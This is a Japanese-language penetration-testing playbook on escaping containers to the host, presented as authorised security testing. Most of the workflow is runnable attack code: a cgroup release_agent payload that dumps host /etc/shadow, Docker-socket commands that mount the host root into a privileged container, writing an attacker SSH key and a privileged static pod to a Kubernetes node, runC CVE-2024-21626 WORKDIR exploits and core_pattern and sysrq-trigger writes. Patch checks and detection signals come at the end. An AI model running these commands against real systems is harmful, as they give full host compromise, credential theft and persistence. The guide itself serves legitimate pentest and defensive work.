escaping-containers-to-host

コンテナからホストへのエスケープ

法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的専用です。コンテナのブレイクアウトはホストの完全な侵害をもたらします。所有している、または明示的な書面による許可を得ているシステムに対してのみ、これらの技術を実行してください。無許可での使用は違法であり、コンピュータ犯罪法に抵触する可能性があります。

概要

コンテナエスケープ（MITRE ATT&CK T1611、Escape to Host）とは、コンテナとホストオペレーティングシステムの間の分離境界を破ることであり、攻撃者にホストの名前空間でのコード実行を与えます。Kubernetes の場合は、多くの場合ノード全体への経路、さらにはクラスター全体への経路にもなります。コンテナはホストのカーネルを共有し、分離のために名前空間、cgroup、ケイパビリティ、seccomp、LSM（AppArmor/SELinux）に依存しています。これらの制御のいずれかが弱められている場合（--privileged コンテナ、マウントされた Docker ソケット、/ の hostPath マウント、CAP_SYS_ADMIN などの過剰な Linux ケイパビリティ）や、ランタイムに脆弱性が含まれている場合、この境界は崩壊します。

このスキルでは、Sysdig、Unit 42、runC メンテナーが確認した、実際に影響の大きい 4 つのエスケープの基本手法を扱います。

1. 設定ミスによるエスケープ — 特権コンテナ、CAP_SYS_ADMIN、ホストの PID/IPC/ネットワーク名前空間、hostPath マウント。
2. 露出した Docker ソケット（/var/run/docker.sock）— デーモンのソケットをコンテナにマウントすると、新しい特権コンテナを経由して攻撃者にホストの root 権限が渡されます。
3. 「Leaky Vessels」runC ファイルディスクリプタ漏えい、CVE-2024-21626 — runC は pivot_root の前に、ホストのファイルシステムを参照する内部ファイルディスクリプタ（/proc/self/fd/7/8）を漏えいします。コンテナの作業ディレクトリをそのファイルディスクリプタに設定すると、プロセスがホスト上に配置されます。runC 1.1.12（containerd 1.6.28/1.7.13、Docker 25.0.2）で修正されています。
4. 2025 年 11 月の runC procfs 書き込みリダイレクトの一群 — CVE-2025-31133、CVE-2025-52565、CVE-2025-52881 — runC が maskedPaths/readonlyPaths を適用する前に行われる /dev/null、/dev/console などのバインドマウントに対するレース・シンボリックリンクの悪用です。これにより /proc のエントリ（例：/proc/sysrq-trigger、core_pattern）への読み書きアクセスや、任意の書き込みリダイレクトが可能になります。runC 1.2.8、1.3.3、1.4.0-rc.3 で修正されています。

出典：Palo Alto Networks「Leaky Vessels」アドバイザリ、Sysdig「New runc vulnerabilities allow container escape」（2025）、opencontainers/runc のセキュリティアドバイザリ GHSA-cgrx-mc8f-2prm および GHSA-9493-h29p-rfm2、Unit 42 のコンテナエスケープに関する調査。

使用するタイミング

• コンテナまたは Kubernetes Pod 内で初期のコード実行を得た後の、許可を受けたコンテナまたは Kubernetes のペネトレーションテスト中
• ランタイムの防御（Falco、seccomp、AppArmor）がブレイクアウトの試行を検出またはブロックするかを検証するとき
• 侵害されたマイクロサービスの影響範囲を評価するとき
• 上記の CVE に対して runC/containerd/Docker のパッチレベルを確認するとき

前提条件

• ホスト/ノードの侵害を対象とする許可（署名済みの交戦規則）
• 足がかり：対象コンテナ内のシェル
• コンテナ内、またはステージングされた偵察用ユーティリティ：

  # deepce - Docker enumeration and escape
  git clone https://github.com/stealthcopter/deepce.git
  # amicontained - container introspection (capabilities, seccomp, namespaces)
  curl -L https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64 -o amicontained
  chmod +x amicontained
  # CDK - zero-dependency K8s/container pentest toolkit
  curl -L https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64 -o cdk
  chmod +x cdk
  

• ブレイクアウトすることが許可されている検証用のクラスター/ホスト（例：kind、minikube、または専用の VM）

目的

• コンテナの特権の状態（ケイパビリティ、名前空間、マウント、seccomp）を列挙する
• 利用可能なエスケープの基本手法を特定する
• ホストへのブレイクアウトを実行し、ホストレベルのコード実行を実証する
• 証拠を取得する（ホスト名、ホストの /etc/shadow へのアクセス、またはホストへのファイル書き込み）
• 修復のために、根本原因となる設定ミスまたは脆弱なランタイムのバージョンを文書化する

MITRE ATT&CK マッピング

Technique ID	Name	Tactic
T1611	Escape to Host	Privilege Escalation
T1610	Deploy Container	Defense Evasion / Execution
T1613	Container and Resource Discovery	Discovery
T1068	Exploitation for Privilege Escalation	Privilege Escalation

ワークフロー

ステップ 1: コンテナ環境の列挙

特権レベル、ケイパビリティ、名前空間、マウントされたホストのパスを確認します。

# Quick capability + namespace + seccomp introspection
./amicontained

# Are we privileged? CapEff ending in ...ffffffff is "all caps"
grep CapEff /proc/self/status
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')

# Host filesystem or docker socket mounted in?
mount | grep -E 'docker.sock|hostPath|/host'
ls -la /var/run/docker.sock 2>/dev/null
findmnt -o TARGET,SOURCE,FSTYPE,OPTIONS

# Sharing host namespaces? (host PID = can see host processes)
ps aux | head        # if you see systemd/host pids, hostPID:true
ls -la /proc/1/root  # if readable as host root, namespace is shared

# Automated enumeration
./deepce.sh
./cdk evaluate

ステップ 2: 特権コンテナ経由のエスケープ（cgroup release_agent）

--privileged コンテナ（または CAP_SYS_ADMIN を持つコンテナ）は cgroup 階層をマウントし、release_agent を悪用することで、cgroup 内の最後のプロセスが終了した際にホスト上でコマンドを実行できます。

# Confirm we can mount (CAP_SYS_ADMIN present)
# Create a cgroup mount and enable release_agent notification
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
  mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release

# Find the container rootfs path on the host
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -1)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Payload that runs on the HOST
cat > /cmd <<'EOF'
#!/bin/sh
ps aux > /output
hostname >> /output
cat /etc/shadow >> /output
EOF
chmod +x /cmd

# Trigger: spawn and immediately exit a process in the cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output   # host process list / shadow proves escape

ステップ 3: マウントされた Docker ソケット経由のエスケープ

/var/run/docker.sock がコンテナにバインドマウントされている場合、ホストの Docker デーモンを制御できるため、ホストのルートをマウントした新しいコンテナを起動できます。

# Confirm reachability
docker -H unix:///var/run/docker.sock version 2>/dev/null || \
  curl -s --unix-socket /var/run/docker.sock http://localhost/version

# Launch a privileged container mounting host / and chroot into it
docker -H unix:///var/run/docker.sock run -it --rm \
  --privileged --net=host --pid=host \
  -v /:/host alpine chroot /host sh

# Pure-curl variant (no docker CLI in container):
curl -s -XPOST --unix-socket /var/run/docker.sock \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/etc/shadow"],
       "Binds":["/:/host"],"Privileged":true}' \
  http://localhost/containers/create?name=esc
curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/esc/start

ステップ 4: hostPath マウント経由のエスケープ（Kubernetes）

/（または機密性の高いホストディレクトリ）を指定した hostPath ボリュームを持つ Pod では、ホストのファイルを直接読み書きできます。例えば、root の SSH 鍵や特権付きの静的 Pod マニフェストを配置できます。

# If /host is the hostPath mount of node root:
ls /host
# Persist: add an attacker key for node root login
mkdir -p /host/root/.ssh
echo "ssh-ed25519 AAAA... attacker@kali" >> /host/root/.ssh/authorized_keys

# Or write a privileged static pod manifest that kubelet will auto-run as root
cat > /host/etc/kubernetes/manifests/pwn.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata: {name: pwn, namespace: kube-system}
spec:
  hostPID: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF

ステップ 5: runC CVE-2024-21626（Leaky Vessels fd リーク）の悪用

ランタイムが runC <= 1.1.11 の場合、リークしたホストの cwd の fd を利用できる可能性があります。docker build / docker run を制御できる場合、作業ディレクトリを /proc/self/fd/<N>（一般的には 7 または 8）に設定します。

# Detect vulnerable runtime version (host or via runc binary in image)
runc --version          # vulnerable: 1.0.0-rc93 .. 1.1.11
docker info --format '{{.DefaultRuntime}}'

# Proof-of-concept via a malicious image WORKDIR (run-time variant)
cat > Dockerfile <<'EOF'
FROM alpine
# fd 7/8 leaked by runc references the HOST cwd before pivot_root
WORKDIR /proc/self/fd/8
RUN ["/bin/sh","-c","cd ../../../../ ; cat etc/shadow ; cat etc/hostname"]
EOF
docker build --no-cache -t leaky .

# Run-time variant: the container lands in a host directory
docker run --rm --workdir /proc/self/fd/8 alpine \
  sh -c 'cd ../../../.. && cat etc/shadow'
# Reference PoC: github.com/strikoder/cve-2024-21626-runc-1.1.11-escape

ステップ 6: 2025 年の runC procfs 書き込みリダイレクト系統の悪用

runC <= 1.2.7 / 1.3.2 / 1.4.0-rc.2 では、CVE-2025-31133/52565/52881 により、/dev/null・/dev/console のバインドマウントと maskedPaths の適用との間の競合状態が悪用されます。マウントターゲットをシンボリックリンクに置き換えることで、ホストの /proc エントリが書き込み可能になります。core_pattern や /proc/sysrq-trigger に書き込むことで、ホスト上でのコード実行が可能になります。

# Confirm vulnerable runtime
runc --version   # vulnerable: <= 1.2.7, 1.3.2, 1.4.0-rc.2

# Conceptual exploitation flow (use maintainers' PoC in a lab):
#  1. Start a container that, during init, swaps the /dev/console (or a
#     custom device) bind-mount target for a symlink to /proc/sysrq-trigger.
#  2. Win the race so runc bind-mounts it read-write before maskedPaths apply.
#  3. Redirect a write to host procfs:
echo c > /proc/sysrq-trigger     # would crash host (DoS) - demonstrates RW
#  4. For code exec, redirect the write to /proc/sys/kernel/core_pattern:
echo '|/bin/sh -c "id>/host_pwn"' > /proc/sys/kernel/core_pattern
#     then trigger a core dump in any host-visible process.
# Advisories: GHSA-cgrx-mc8f-2prm, GHSA-9493-h29p-rfm2

ステップ 7: パッチ適用後の状態を検証し、修復内容を文書化する

# Verify runtimes are patched
runc --version              # want >= 1.2.8 / 1.3.3 / 1.4.0-rc.3 (and != vuln 1.1.x)
docker version --format '{{.Server.Version}}'   # >= 25.0.2 for CVE-2024-21626
containerd --version        # >= 1.6.28 / 1.7.13

# Confirm hardening for misconfig escapes
docker inspect <ctr> --format '{{.HostConfig.Privileged}}'   # want false
kubectl get pod <pod> -o jsonpath='{.spec.containers[*].securityContext}'

ツールとリソース

Tool	Purpose	Source
amicontained	ケイパビリティ・名前空間・seccomp の確認	https://github.com/genuinetools/amicontained
deepce	Docker の列挙とエスケープの自動化	https://github.com/stealthcopter/deepce
CDK	コンテナ / K8s 向けペネトレーションテストツールキット	https://github.com/cdk-team/CDK
runc PoC (CVE-2024-21626)	Leaky Vessels の参考エクスプロイト	https://github.com/strikoder/cve-2024-21626-runc-1.1.11-escape
Sysdig runc 2025 advisory	CVE-2025-31133/52565/52881 の分析	https://www.sysdig.com/blog/runc-container-escape-vulnerabilities
Palo Alto Leaky Vessels	CVE-2024-21626 の詳細解説	https://www.paloaltonetworks.com/blog/cloud-security/leaky-vessels-vulnerabilities-container-escape/

エスケープ・プリミティブ一覧

Primitive	Root Cause	Detection Signal
特権コンテナ	--privileged / CAP_SYS_ADMIN	cgroup のマウント、release_agent への書き込み
Docker ソケットのマウント	/var/run/docker.sock のバインドマウント	コンテナからのデーモン API 呼び出し
hostPath / のマウント	Pod がノードのルートをマウント	/host/etc/kubernetes/manifests への書き込み
CVE-2024-21626	pivot_root 前の runC fd リーク	WORKDIR / cwd が =/proc/self/fd/N
CVE-2025-31133/52565/52881	マウント競合による procfs 書き込みリダイレクト	/dev/console の読み書きマウント、/proc/sysrq-trigger への書き込み

検証基準

• コンテナの特権状態を列挙した（ケイパビリティ、名前空間、マウント、seccomp）
• 利用可能なエスケープ・プリミティブを正しく特定した
• ホストレベルのコード実行を実証した（ホスト名 / /etc/shadow / ホストへのファイル書き込みを取得）
• 根本原因となる設定ミスまたは脆弱なランタイムのバージョンを記録した
• runC / containerd / Docker のバージョンを CVE のパッチ基準と照合した
• 修復ガイダンス（特権の削除、ソケットマウントの除去、ランタイムのパッチ適用）を文書化した
• すべての操作が許可された範囲内で行われた